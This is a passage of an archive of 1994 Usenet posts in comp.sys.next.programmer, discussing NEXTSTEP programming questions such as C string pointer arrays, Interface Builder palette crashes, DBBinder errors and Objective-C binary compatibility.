sharedInstance nowing. Whether or not NXFaxPanel is going to free the memory may or may not be clearly defined-- actually; it seems unlikely that it could free the string meemory without risk of crashing considering that it is relatively difficult to detect if a piece of memory was allocated on the stack, allocated statically, or allocated dynamically. You could also get away with: #import <stdio.h> main () { const char * output[2] = { "David Button", "5551212" }; fprintf(stdout, "name: %s\nphone: %s\n", output[0], output[1]); } The [2] implies that the array of character pointers contains (const char *)s. b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: seanw@codex.com.au (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: Popup Problems (cont).... Date: 3 Mar 1994 04:16:14 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2l3oae$8fi@yarrina.connect.com.au> I've found that a popup which is populated by a DBModule in the usual way (ie. by dragging a related property onto the button in IB, and then connecting the first menu cell to the module's takeValueFrom: method) don't fire off association:setValue: to other associated objects. So if I have the same related property associated with a text field, when I change the popup's selection the text field doesn't get told and it doesn't update itself. Am I going crazy here!!??## Thanks Sean.
From: dmank@davinci.nwest.mccaw.com (David Mank) Newsgroups: comp.sys.next.programmer Subject: Re: what is a (const char*const *) & how? Date: 3 Mar 1994 01:13:57 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2l3dkl$mc1@ftp-p.mccaw.com> References: <CM0CpC.3Dz@nyro.com> In comp.sys.next.programmer article <CM0CpC.3Dz@nyro.com> you wrote: > What is a (const char*const *) and how do I make one out of these? It is a Null terminated list of pointers to NULL terminated strings (const char *const *)myList { char number_name[][]; strcpy(number_name[some_index],"David Button"); ... return (const char *const *)number_name; } > char name[] = "David Button"; > char number[] = "5551212" > > > I am trying to use the faxPSCode:toList: ....faxName: method. > > Any help is appreciated. > > Ian -- -david
From: rfschtkt%banruc60.bitnet@cc1.kuleuven.ac.be Newsgroups: comp.sys.next.programmer Subject: KBNS.32.0 Date: 3 Mar 1994 01:43:43 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403030646.AA00289@flexus> LS, This is to let you know about the new edition 32.0 of KBNS, the only public and comprehensive database (``FAQ''?) of bugs with workarounds in NEXTSTEP, available by anonymous ftp from cs.orst.edu in path /pub/next/documents, as files KBNS.32.0.rtf.Z and KBNS.*README.rtf. I have made an attempt to bring the collection more up to date with NEXTSTEP_3.2. The file is about 0.6 MB before compression, and 270 kB compressed. KBNS is totally dependent on your cooperation. I see my role as an administrator and moderator for compiling the collective knowledge of the NEXTSTEP community (about bugs, of course). So fetch the document, use it, and send me reports about whatever is still missing, about changes to applicability ranges, about a verification you did, when you would like to referee items in certain areas, about any mistakes, or a note about what you think of KBNS (if you think it is no good, I won't know unless you tell me, but please be specific; if you've been able to benefit from it, do tell!). It's up to YOU! Raf Schietekat, RfSchtkt@banruc60.bitnet, Flanders, Belgium RfSchtkt%banruc60.bitnet@uunet.uu.net or so if the above does not work for you (real, i.e., with triangle in the Deliver button) NeXTmail preferred I can't reach sites with ! or % in their address, or ending in .at or .uucp (to bugs, programmer, NeXT-prog)
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Is NeXTWORLD Expo worth $795 for developer info? Date: 3 Mar 1994 07:10:47 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2l42hn$o72@darkstar.UCSC.EDU> Last year I received 25 invitations to NeXTWORLD Expo. I guess my complaints about excessive invitations worked: I didn't get any this year :-) But I'm being called about twice a week by DCI telling me that if I don't hurry and preregister, the cost will go up by $100. I can't recall whether the preregistration cost is $695 or $795, but both seem high to me. Last year, the NS/FIP - Developer Session bundle was worth $995 in my opinion. But this year, all that seems to be offered is a prerelease of something called Enterprise Objects (or some such). What is this and what's it worth? It seems to me that DCI is depending on corporate developers as the main attendees - you know, the folks who get their convention junkets paid by their employers. These folks don't seem to be too cost-conscious because they're not paying themselves as we small guys must do. So I'm really wondering what I'll learn (I've attended both Expos and my feeling is that the quality has been decreasing, at least as far as developer info is concerned). What do you think? March 8 is apparently the preregistration deadline and I guess I need to decide by then. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Can t start Interface Builder Date: 3 Mar 1994 07:14:40 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2l42p0$o7h@darkstar.UCSC.EDU> References: <2l25fi$qqd@news.belwue.de> In article <2l25fi$qqd@news.belwue.de> richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) writes: > > When I try to start IB the following message appears: > > ****** > Runtime error: NXReadOnlyString : does not recognize selector > -replaceWith: > ****** > > After pressing the OK-Button Interface Builder closes. I can t work with > IB anymore. > Whats wrong , what happened or how to fix this problem ??? I've been seeing the same error message frequently under 3.2 black. I've not seen it before I upgraded. I've been able to "fix" the problem by editting ~/.NeXT/defaults.nibd. I just delete one of the palettes from one of the lists of palettes (don't know whether it matters which list) and I'm able to launch IB and reload whatever I deleted. Quite a nuisance, though. Anyone have any better insights? --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:06:42 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4cri$77j@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> In article <2l2g2i$rnv@bones.et.byu.edu> yackd@alaska.et.byu.edu (Don Yacktman) writes: > > It's a bug in IB that can be tickled by certain palettes. For > example, the MiscCoolButtons palette in the MiscKit. (We just > discovered this.) Apparently, later versions of IB don't have > trouble with this, but on 3.0[1 ? ] there is a problem. The > workaround is to delete the IB default setup file (I forget > the name, but you'll know it when you see it) from your .NeXT > directory and make sure that your prefs are set to NOT have that > palette loaded whenever you quit IB. Loading the palette at > launch appears to tickle some crazy bug...I wish I knew why... > I suspect that other palettes can cause the same problem, too. > Don_Yacktman@byu.edu Nepotism is a relative thing. YES, this helped a lot. I just deleted the last imported palette in ~/.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:07:07 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4csb$7a3@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES, this helped a lot. I just deleted the last imported palette in ~/.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:07:24 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4css$7a6@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES, this helped a lot. I just deleted the last imported palette in ~/.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:07:36 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4ct8$7a7@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES, this helped a lot. I just deleted the last imported palette in ~/.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:07:46 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4cti$7a8@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES, this helped a lot. I just deleted the last imported palette in /.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:08:21 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4cul$7gc@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES, this helped a lot. I just deleted the last imported palette in /.Next/defaults.nibd and restarted IB again. Now the world is alright again. I guess this palette was bad, or was it a bug in IB ?? Anyway, thank you Richard
From: richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) Newsgroups: comp.sys.next.programmer Subject: Re: Problem when starting Interface Builder Date: 3 Mar 1994 10:10:59 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Distribution: world Message-ID: <2l4d3j$7si@news.belwue.de> References: <2l2g2i$rnv@bones.et.byu.edu> YES this helped a lot. I just deleted the last imported palette in ~/.Next/defaults.nibd and restarted IB again. Now, the world is alright again. But really a strange bug in IB ??!! Thank you Richard
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: Re: A data shader for RENDERMAN? Date: 1 Mar 94 10:50:50 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: ne Message-ID: <GBOL.94Mar1105050@custard.think.com> References: <2kkqbl$i8m@cisun2000.unil.ch> <1994Feb28.225520.20712@news.media.mit.edu> In-reply-to: wave@media.mit.edu's message of Mon, 28 Feb 1994 22:55:20 GMT This post reminds me of a question I never answered with certainty. I copied the show_xyz() shader from the Renderman Companion which compiled fine into a .slo file. From reading the doc, the NS 3D classes cannot use arbitrary shaders. Is there any way to get realtime manipulation of surfaces using your own shader different from those NS lists? This would be a big plus for xyz shaded visualization of surfaces. I don't think Mme can keep up with the redering in realtime. But of the same nature, has anybody written a filter to convert 3Script from Mme to Renderman calls? gregory
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: Re: NS 3.2/I and putenv() Message-ID: <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk> From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk> Date: 02 Mar 1994 11:51:37 GMT References: <2kvube$pgg@marble.Britain.EU.net> Organization: I speak for myself In-reply-to: Charlesa@learned.co.uk's message of Tue, 01 Mar 94 17:32:19 BST there are a number of bsd related calls that the NeXT does not support...as a result I've found the original bsd code and simply made a library which contains all of the missing bits (called, libmissing.a of course)... The contents I have so far are: strdup() putenv() getenv() setenv() I notice that more and more things are looking for getcwd, which is implemented under POSIX, but sometimes compiling wiht -posix causes more headaches than are needed. If there is sufficient demand I would be happy to place this library on cs.orst.edu...it is for Black hardware, I don't have intel and I don't have the slightest interest or knowledge about how to compile crossplatform. Scott -- GSS d-- -p+ c++++ !l u++ e+++@ m++(*) s+/+@ n+ h-- f+@(?) g+ w+++ t++ r- y**(+) EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk WWW: http://shrug.org/pages/scott/scottm.html "In another novel, I *am* you"
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Execute commands Message-ID: <1994Mar3.073653.270@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <1994Feb23.040209.1194@corona.com> Date: Thu, 3 Mar 94 07:36:53 GMT In article <1994Feb23.040209.1194@corona.com> pkron@corona.com (Peter Kron) writes: > From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) > > How can I execute UNIX commands within the application? > > Look at /NextDeveloper/Examples/Unix/Subprocess. This may not be > exactly what you want, but ought to give some pointers in the right > direction. (There were also some caveats on the net a couple months > ago about a subtle bug...something to do with resource leaks, I > think.) > --- If you just want to execute something use the system() call. And see the exec-function group for some more control: execl, execv, execle, execlp, execvp, exec, execve, environ Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: what is a (const char*const *) & how? Message-ID: <1994Mar3.040134.2552@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <CM0CpC.3Dz@nyro.com> Date: Thu, 3 Mar 1994 04:01:34 GMT It is a constant pointer to a constant character pointer or in other words a non-changeable list of non-changeable strings. Here's how to create them: const char *names[] = {"Joe Slider", "David Button", "Rob Switch"}; const char *numbers[] = {"5551212", "5778500", "5552000"}; Note, however, that the faxPSCode method uses "const" to specify that it won't modify the data you send it. This means that you can also pass it a list of strings that you've created programmatically. It's just like a char **. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <CM0CpC.3Dz@nyro.com> ian_stewart@nyro.com (Ian H. Stewart) writes: > What is a (const char*const *) and how do I make one out of these? > > char name[] = "David Button"; > char number[] = "5551212" > > > I am trying to use the faxPSCode:toList: ....faxName: method. > > Any help is appreciated. > > Ian
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Is NeXTWORLD Expo worth $795 for developer info? Date: 3 Mar 1994 19:13:53 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2l5cth$pr@darkstar.UCSC.EDU> References: <2l42hn$o72@darkstar.UCSC.EDU> In article <2l42hn$o72@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > What do you think? March 8 is apparently the preregistration deadline > and I guess I need to decide by then. DCI just called and said that the preregistration deadline had been extended till late April because Expo info hadn't been printed and distributed yet so few people were very excited about preregistering for something that they knew little about. So this info should be mailed during March and hopefully NeXT will sweeten the deal a little more with some bundled offers. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: elitman@proxima.com (Eric A. Litman) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Next Mail format document Date: 3 Mar 1994 13:46:53 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403031916.AA05654@proxima.com> I had a document (from NeXT) at one point which described the NeXT Mail format, but have since misplaced it. Anybody have this? -- Eric Litman Proxima, Inc. vox: (703) 506.1661 Systems Engineer McLean, VA elitman+@proxima.com echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Subclass conforming to protocol // IB question Message-ID: <CM39z8.wH@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <CM07x2.s5@basil.icce.rug.nl> Date: Thu, 3 Mar 1994 12:42:43 GMT In article <CM07x2.s5@basil.icce.rug.nl> tom@basil.icce.rug.nl (Tom R.Hageman) writes: > __/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted] > __/ __/_/ > __/__/__/ "...to baldly go where no man has gone before." > __/ _/_/ -- star trek TNG Your quote is wrong! That they said in the old Star Trek. For various reasons, in TNG '...no man has..' was changed to '...no one has...'!!! Gerd
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Problem when starting Interface Builder Message-ID: <1994Mar3.175815.3728@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2l2g2i$rnv@bones.et.byu.edu> Date: Thu, 3 Mar 1994 17:58:15 GMT The file ~/.NeXT/defaults.nibd is used for IB defaults. It's the one that you need to delete. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2l2g2i$rnv@bones.et.byu.edu> yackd@alaska.et.byu.edu (Don Yacktman) writes: > > In article <2l25hk$qtj@news.belwue.de>, richi@next1.rz.fh-heilbronn.de (Richard Fraunberger) writes: > > > >When I try to start IB the following message appears: > > > >****** > >Runtime error: NXReadOnlyString : does not recognize selector > >-replaceWith: > >****** > > > >After pressing the OK-Button Interface Builder closes. I can t work with > >IB anymore. > >Whats wrong , what happened or how to fix this problem ??? > > > >Thanks a lot for any good idea ! > > > >Richard > >richi@next1.rz.fh-heilbronn.de > > It's a bug in IB that can be tickled by certain palettes. For > example, the MiscCoolButtons palette in the MiscKit. (We just > discovered this.) Apparently, later versions of IB don't have > trouble with this, but on 3.0[1 ? ] there is a problem. The > workaround is to delete the IB default setup file (I forget > the name, but you'll know it when you see it) from your .NeXT > directory and make sure that your prefs are set to NOT have that > palette loaded whenever you quit IB. Loading the palette at > launch appears to tickle some crazy bug...I wish I knew why... > I suspect that other palettes can cause the same problem, too. > > Hope that helps. > > -- > > Don_Yacktman@byu.edu Nepotism is a relative thing. > don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: How to tell when evaluateString: returned an error? Message-ID: <1994Mar3.201602.1213@parsec.mixcom.com> Summary: How? Keywords: evaluateString, DBBinder Organization: SmartSoft, Inc. Distribution: usa Date: Thu, 3 Mar 1994 20:16:02 GMT Hi all, I'm wondering if there is a way to tell if there was an error when executing some arbitrary SQL statements via evaluateString:? For example I execute a statement, the evaluateString for the DBBinder returns FALSE, but an error panel was brought up saying there was an error. Any help would be great. Thanks in advance, -Scott Violet (scott@SmartSoft.com)
From: tyler@casey.mc.duke.edu (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Re: Subclass conforming to protocol // IB question Date: 3 Mar 1994 21:27:38 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2l5koa$ok4@news.duke.edu> References: <CM39z8.wH@tms-gmbh.de> In article <CM39z8.wH@tms-gmbh.de> gerti@tms-gmbh.de (Gerd Knops) writes: > In article <CM07x2.s5@basil.icce.rug.nl> tom@basil.icce.rug.nl (Tom > R.Hageman) writes: > > __/__/__/__/ Tom Hageman > > __/ __/_/ > > __/__/__/ "...to baldly go where no man has gone before." > > __/ _/_/ -- star trek TNG > > Your quote is wrong! That they said in the old Star Trek. For various > reasons, in TNG '...no man has..' was changed to '...no one has...'!!! > True, but if you look carefully at Tom's quote (notice the typo), he might be referring to Capt. Picard -- which would definitely indicate TNG. :-) That is, of course, unless rugs count. In which case the quote is correct for both TOS & TNG. :-) :-) :-) --- Tyler
From: mdpurple@engin.umich.edu (Marcus Darden) Newsgroups: comp.sys.next.programmer,comp.soft-sys.nextstep Subject: Help compiling GNU C++ libraries Date: 3 Mar 1994 17:45:48 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <2l57ocINNfu4@srvr1.engin.umich.edu> I am trying desparately to install the GNU C++ libraries on my NSTC. I am not a big C++ fan, but I need the compiler for a class assignment. I had problems getting the package from NeXTanswers, but I have finally done that, and installed it. The only thing that remains is to compile the libraries. I have NO IDEA how to do this. There is a file that NeXTanswers provides that is supposed to help, but it doesn't. It lists changes you should make in the source files, but these files have already been made. After these changes, they say it should compile, but nowhere do they actually say how to compile them. If someone has succeeded with installing and compiling the GNU C++ libraries, PLEASE email me, and tell me how it is done. Thank you, Marcus M. Darden mdpurple@caen.engin.umich.edu I am trying desparately to install the GNU C++ libraries on my NSTC. I am not a big C++ fan, but I need the compiler for a class assignment. I had problems getting the package from NeXTanswers, but I have finally done that, and installed it. The only thing that remains is to compile the libraries. I have NO IDEA how to do this. There is a file that NeXTanswers provides that is supposed to help, but it doesn't. It lists changes you should make in the source files, but these files have already been made. After these changes, they say it should compile, but nowhere do they actually say how to compile them. If someone has succeeded with installing and compiling the GNU C++ libraries, PLEASE email me, and tell me how it is done. Thank you, Marcus M. Darden mdpurple@caen.engin.umich.edu
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Undo command in Edit?? Date: 3 Mar 1994 21:19:57 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2l5k9t$ofk@netnews.upenn.edu> Hi, The documentation for the "Edit" App makes no mention of an Undo command (not revert to saved) that would simply undo the last command or action. This is a feature that even lowly vi has, and it's hard to believe that Edit doesn't-- maybe the most useful command of all time. Am I missing something? Does Edit have this feature? If not, is there a better Next based programmers editor (NOT EMACS)? Any suggestions appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer From: michaelh@g2syd.genasys.com.au (Michael Haldey) Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Message-ID: <1994Mar3.220107.5005@g2syd.genasys.com.au> Organization: Genasys II, Sydney, Australia References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> Date: Thu, 3 Mar 1994 22:01:07 GMT In article <gregor.1112859278I@ra.nrl.navy.mil> gregor@nrlfs1.nrl.navy.mil (joe gregor) writes: >In Article <2kt8ab$51g@spool.mu.edu>, alec@carie.dental.mu.edu (Alec >Ellsworth) wrote: >> >>Qualifications include: Bachelor's Degree in Computer Science or ... > >Not asking for much, are you? ;-) > Not really. Here in Australia you can find ads asking for people with 5 years working with MS Windows SDK or 3 years with Visual Basic. (Let's alone 2 years experience in Windows NT.) :) :) Michael -- Michael Haldey | Genasys II Pty Ltd, Sydney, Australia | Internet: michaelh@g2syd.genasys.com.au | | #include <std_disclaimer.h>
Newsgroups: comp.sys.next.programmer From: (slugg jello) Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Message-ID: <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> Sender: slugg@mouthers.nwnexus.wa.com Organization: Mouthing Flowers References: <2j3q7s$efl@rosie.next.com> Date: Thu, 3 Mar 1994 15:48:38 GMT In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter Graffagnino) writes: > * adding methods to superclass doesn't break binary compatibility > > Of course, Objective-C does have this problem for instance variables, > but C++ has this problem for *methods* as well. This is because the C++ > compiler must calculate an exact offset into a jump table for each method > invocation. If you insert entries into the table by adding methods, all > clients calling the class must be recompiled. > Is it true what the above states about instance variables? I was never aware of it and would be very surprised if it's true. If it is true, how could NeXT release a new binary compatible AppKit without adding instance variables to the AppKit classes? -- Doug Kent Mouthing Flowers, Inc. slugg@mouthers.wa.com
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Portability of rand()/random()/getitimer between Unixes Date: 3 Mar 1994 22:43:49 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2l5p75$11a@netnews.upenn.edu> Hi, I'm working on a program that requires a random number generator. It should work on NS as well as other standard Unixes. Problem is that random()/rand() and getitimer do not seem to be standard between NS and say AIX. Specifically the return from rand()/random() have different ranges of return values on different Unixes. Is there some fairly portable way of querying the system for the largest number returned by random()? AIX has a global variable, but I can't find any mention of symbolic values for this in NS, only the actual numbe (2**31)-1, which I would have to hardcode into the program. Thanks Joe Panico joe@retina.anatomy.upenn.edu
From: sscott@mcs.kent.edu (Stephen Scott) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: 4 Mar 1994 00:02:52 GMT Organization: Kent State University Distribution: world Message-ID: <2l5trc$rd7@usenet.mcs.kent.edu> References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <2kutgg$ag0@hebron.connected.com> In article <2kutgg$ag0@hebron.connected.com>, slores@hebron.connected.com (Kurt Schmidt) writes: |> The programming world sure has matured. Used to be that only typing was |> required... And the less fingers used the more qualified you were...
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How to tell when evaluateString: returned an error? Date: 4 Mar 1994 00:36:02 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2l5vpi$1t0@steffi.demon.co.uk> References: <1994Mar3.201602.1213@parsec.mixcom.com> Keywords: evaluateString, DBBinder scott@parsec.mixcom.com (Scott Violet) wrote in comp.sys.next.programmer > >Hi all, > I'm wondering if there is a way to tell if there was an error >when executing some arbitrary SQL statements via evaluateString:? For >example I execute a statement, the evaluateString for the DBBinder >returns FALSE, but an error panel was brought up saying there was an >error. Any help would be great. >Thanks in advance, > -Scott Violet (scott@SmartSoft.com) I'm not sure about this but you'd probably have to subclass DBBinder to look at the fetch results wouldn't you? ie. to determine the exact error information. I suggest you look at the DBBinder subclass in NXApp (Magazine) -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How to tell when evaluateString: returned an error? Date: 4 Mar 1994 01:18:40 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2l629g$294@steffi.demon.co.uk> References: <1994Mar3.201602.1213@parsec.mixcom.com> <2l5vpi$1t0@steffi.demon.co.uk> Keywords: evaluateString, DBBinder robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer >scott@parsec.mixcom.com (Scott Violet) wrote in comp.sys.next.programmer >> >>Hi all, >> I'm wondering if there is a way to tell if there was an error >>when executing some arbitrary SQL statements via evaluateString:? For >>example I execute a statement, the evaluateString for the DBBinder >>returns FALSE, but an error panel was brought up saying there was an >>error. Any help would be great. >>Thanks in advance, >> -Scott Violet (scott@SmartSoft.com) > >I'm not sure about this but you'd probably have to subclass DBBinder >to look at the fetch results wouldn't you? ie. to determine the >exact error information. > >I suggest you look at the DBBinder subclass in NXApp (Magazine) > > >-- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "No, what?" > "Nothing" (Charade, 1963) > (ASCII for text only messages) -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Date: 4 Mar 1994 01:47:51 GMT Organization: NeXT, Inc. Message-ID: <2l6407$lv6@rosie.next.com> References: <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> (slugg jello) writes: > pgraff@graff.next.com (Peter Graffagnino) writes: > > * adding methods to superclass doesn't break binary compatibility > > > > Of course, Objective-C does have this problem for instance variables, > > but C++ has this problem for *methods* as well. > > Is it true what the above states about instance variables? I was never aware > of it and would be very surprised if it's true. If it is true, > how could NeXT release a new binary compatible AppKit without > adding instance variables to the AppKit classes? It's true. A good way to think of an object is that it is a data structure of instance variables and methods that (usually) act on those intance variables. The code in the methods is compiled to assume constant offsets to variables from the beginning of the instance. If these offsets were runtime-linked, we would need to keep huge amounts of relocation info around and loading would be slow. Methods are, of course, bound at runtime, so they can move around without problems. Next is careful to always leave some room in the instance variables of all our classes. Worst case, we might have a (void *)_privateVars instance variable so we can add a few (or a lot?) of new variables to a class by allocating a structure. -sam -- Opinions expressed herein are not those of my employer. They're not even mine. They're probably wrong besides. How did they get in here, anyway?
From: amb78@unm.edu (Aaron M. Brown) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.graphics Subject: "Morphing" software wanted... Followup-To: comp.sys.next.software Date: 3 Mar 1994 19:48:59 -0700 Organization: University of New Mexico, Albuquerque Distribution: na Message-ID: <2l67ir$egm@vesta.unm.edu> Summary: Image "morphing" Keywords: NeXT... Macs... Hi!, I'm a photography student at the University of New Mexico, and I have finally built the computer that I've always wanted... A NeXTStation M68 (68040 Mono)... Now the problem... The only image "morphing" software that I have is for a Mac... (quadra)... Is there anyone out there that could give me a way to run this program on my favorite computer. After all... it has a better display... A higher dpi printer... and most importantly it uses the same CPU... Any help, answers, thoughts, and ideas would be welcomed. (that includes any kind of NeXT demo & recommending ideas :-) Thanks, --Aaron... -- amb78@unm.edu
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Message-ID: <CM4G55.2LE@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> Date: Fri, 4 Mar 1994 03:53:28 GMT Peter Graffagnino writes: > > Objective-C does have this problem for instance variables, > > [the] compiler must calculate an exact offset ... If you insert entries > > ... clients calling the class must be recompiled. slugg jello writes > Is it true what the above states about instance variables? ... > If it is true, how could NeXT release a new binary compatible AppKit > without adding instance variables to the AppKit classes? void *_private; -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
